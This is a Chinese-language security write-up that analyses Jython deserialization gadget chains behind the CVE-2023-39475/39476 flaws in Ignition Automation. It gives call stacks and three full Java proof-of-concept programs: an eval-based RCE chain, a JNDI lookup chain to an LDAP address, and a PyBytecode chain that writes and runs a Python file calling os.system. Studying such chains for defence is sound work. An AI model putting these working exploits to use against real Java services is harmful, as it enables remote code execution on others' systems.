Jython Gadgets Chain 利用分析
起源 在 IGNITION AUTOMATION 里公开了两个反序列化的RCE,CVE-2023-39475 和 CVE-2023-39476,不过该漏洞并没有利用公开的利用链,于是抱着学习的心态来分析本次基于jython的利用链 pom配置如下 <dependency> <groupId>org.python</groupId> <
起源
在 IGNITION AUTOMATION 里公开了两个反序列化的RCE,CVE-2023-39475 和 CVE-2023-39476,不过该漏洞并没有利用公开的利用链,于是抱着学习的心态来分析本次基于jython的利用链
pom配置如下
<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.7.2</version>
</dependency>
分析
本次漏洞作者一共寻找到了两处利用:
- com.ziclix.python.sql.connect.Lookup jndi注入
- org.python.core.BuiltinFunctions 的rce
org.python.core.BuiltinFunctions
先看 org.python.core.BuiltinFunctions 的利用:
本来利用的是org.python.core.PyFunction,但是由于PyFunction的readResolve方法抛异常了,于是作者另寻了一处入口

入口是org.python.core.PyMethod,该类继承了InvocationHandler,可以用来做代理类
invoke方法

__call__一直跟下去,会调用instancemethod___call__

这里又会调用 __func__的__call__方法,__func__是一个PyObject类型

于是可以指定为org.python.core.BuiltinFunctions

org.python.core.BuiltinFunctions的__call__方法,当index为18的时候,就可以调用eval方法执行代码

整个调用栈
java.io.ObjectInputStream.readObject
java.util.PriorityQueue.readObject
java.util.PriorityQueue.heapify
java.util.PriorityQueue.siftDownUsingComparator
com.sun.proxy.$Proxy4.compare
org.python.core.PyMethod.invoke
org.python.core.PyMethod.__call__
org.python.core.PyMethod.instancemethod___call__
org.python.core.PyObject.__call__
org.python.core.PyBuiltinFunctionNarrow.__call__
org.python.core.BuiltinFunctions.__call__
org.python.core.__builtin__.eval
org.python.core.Py.runCode
前半部分的触发就是利用PriorityQueue的heapify触发比较器的compare方法,而把比较器设置为代理类,就能触发比较器的invoke方法。
构建一个PyMethod的代理类,接口类型为Comparator,在反序列化队列时,触发代理类compare方法的调用,从而进入到PyMethod#invoke里。然后就是后续构造BuiltinFunctions和pystring
几个点:
- 创建PyMethod的代理类,设置接口类型为Comparator
- org.python.core.BuiltinFunctions的index需要是18,触发eval
- pymethod的im_class type需要是pyargs所指定的type,否则checkSelf方法无法通过
最终的poc
package org.example;
import org.python.core.*;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.HashMap;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
PyMethod pyMethod = (PyMethod) unsafe.allocateInstance(PyMethod.class);
PyObject builtinFunctions = (PyObject) unsafe.allocateInstance(Class.forName("org.python.core.BuiltinFunctions"));
Field index = builtinFunctions.getClass().getSuperclass().getDeclaredField("index");
index.setAccessible(true);
index.set(builtinFunctions, 18);
pyMethod.__func__ = builtinFunctions;
pyMethod.im_class = new PyString().getType();
HashMap<Object, PyObject> _args = new HashMap<>();
_args.put("rs", new PyString("print('Hello World')"));
//_args.put("rs", new PyString("import os;\nos.system('open -a /System/Applications/Calculator.app')"));
PyStringMap locals = new PyStringMap(_args);
Object[] queue = new Object[] {
new PyString("__import__('code').InteractiveInterpreter().runcode(rs)')"),
locals,
};
// create dynamic proxy
Comparator o = (Comparator) Proxy.newProxyInstance(Main.class.getClassLoader(),
new Class[]{Comparator.class},
pyMethod);
// set comparator
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, o);
Field f = priorityQueue.getClass().getDeclaredField("queue");
f.setAccessible(true);
f.set(priorityQueue, queue);
Field f2 = priorityQueue.getClass().getDeclaredField("size");
f2.setAccessible(true);
f2.set(priorityQueue, 2);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
byte[] bytes = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
上述执行python代码等同于:

com.ziclix.python.sql.connect.Lookup
然后再看一下com.ziclix.python.sql.connect.Lookup jndi的调用
整个链的触发逻辑一样,只是最终的触发改为了
com.ziclix.python.sql.connect.Lookup#__call__
把第一个参数取出来解析成jndiName

最终带入lookup方法

java.io.ObjectInputStream.readObject
java.util.PriorityQueue.readObject
java.util.PriorityQueue.heapify
java.util.PriorityQueue.siftDownUsingComparator
com.sun.proxy.$Proxy4.compare
org.python.core.PyMethod.invoke
org.python.core.PyMethod.__call__
org.python.core.PyMethod.instancemethod___call__
org.python.core.PyObject.__call__
com.ziclix.python.sql.connect.Lookup.__call__
poc
package org.example;
import org.python.core.PyMethod;
import org.python.core.PyString;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
public class Lookup {
public static void main(String[] args) throws Exception{
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
PyMethod pyMethod = (PyMethod) unsafe.allocateInstance(PyMethod.class);
pyMethod.__func__ = new com.ziclix.python.sql.connect.Lookup();
pyMethod.im_class = new PyString().getType();
Comparator c = (Comparator) Proxy.newProxyInstance(
Lookup.class.getClassLoader(),
new Class[]{Comparator.class},
pyMethod
);
PriorityQueue priorityQueue = new PriorityQueue(2, c);
Object [] queue = new Object[]{
new PyString("ldap://127.0.0.1:1389"),
1
};
Field f = priorityQueue.getClass().getDeclaredField("queue");
f.setAccessible(true);
f.set(priorityQueue, queue);
Field f2 = priorityQueue.getClass().getDeclaredField("size");
f2.setAccessible(true);
f2.set(priorityQueue, 2);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
byte[] bytes = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
ysoserial
然后再顺便看下yso里的jython链,这个链用到了python字节码
jython <=2.5.2
将低jython版本至低版本,低版本PyFunction没有重写readResolve方法,不会抛出异常
前序的链不变,依然使用PriorityQueue,PyMethod这换成PyFunction
invoke之后,调用__call__方法,一直调用到func_code.call,func_code是一个PyCode类型

最终利用了PyBytecode构建字节码并执行
查看os.py的指令
python -m dis
最左边是行号,右边是执行 LOAD_CONST 0, LOAD_CONST 1, IMPORT_NAME 0

然后可以用dis把上述指令和code作相互转化

用python2运行
def execEvil(a, b):
f = open(a, 'w')
f.write(b)
f.close()
execfile(a)
if __name__ == '__main__':
print(execEvil.__code__.co_code.encode('hex'))
print(execEvil.__code__.co_name)
print(execEvil.__code__.co_names)
print(execEvil.__code__.co_consts)
print(execEvil.__code__.co_varnames)
print(execEvil.__code__.co_filename)
print(execEvil.__code__.co_argcount)
print(execEvil.__code__.co_stacksize)
print(execEvil.__code__.co_nlocals)
print(execEvil.__code__.co_flags)
print(execEvil.__code__.co_lnotab)
print(execEvil.__code__.co_firstlineno)
print(dis.dis(execEvil.__code__))
可以获取到构建PyBytecode所需要的参数值

生成的code如下:

通过execfile执行,不用在代码外层import os
package org.example;
import org.python.core.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
public class Jython {
public static void main(String[] args) throws Exception {
String path = "/Users/Downloads/123.py";
String code = "import os\nos.system('open -a Calculator.app')";
String pythonByteCode = "7400006401006402008302007D00007C0000690100640300830100017C0000690200830000017403006401008301000164000053";
// 初始化参数
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w+"), new PyString(code)};
String[] names = new String[]{"open", "write", "close", "execfile"};
// 初始化 PyBytecode
PyBytecode bytecode = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
Field field = PyBytecode.class.getDeclaredField("co_code");
field.setAccessible(true);
field.set(bytecode, new BigInteger(pythonByteCode, 16).toByteArray());
// 使用 PyBytecode 初始化 PyFunction
PyFunction handler = new PyFunction(new PyStringMap(), null, bytecode);
// 使用 PyFunction 代理 Comparator
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[]{path, code};
Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(priorityQueue, queue);
Field sizeField = PriorityQueue.class.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
byte[] bytes = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}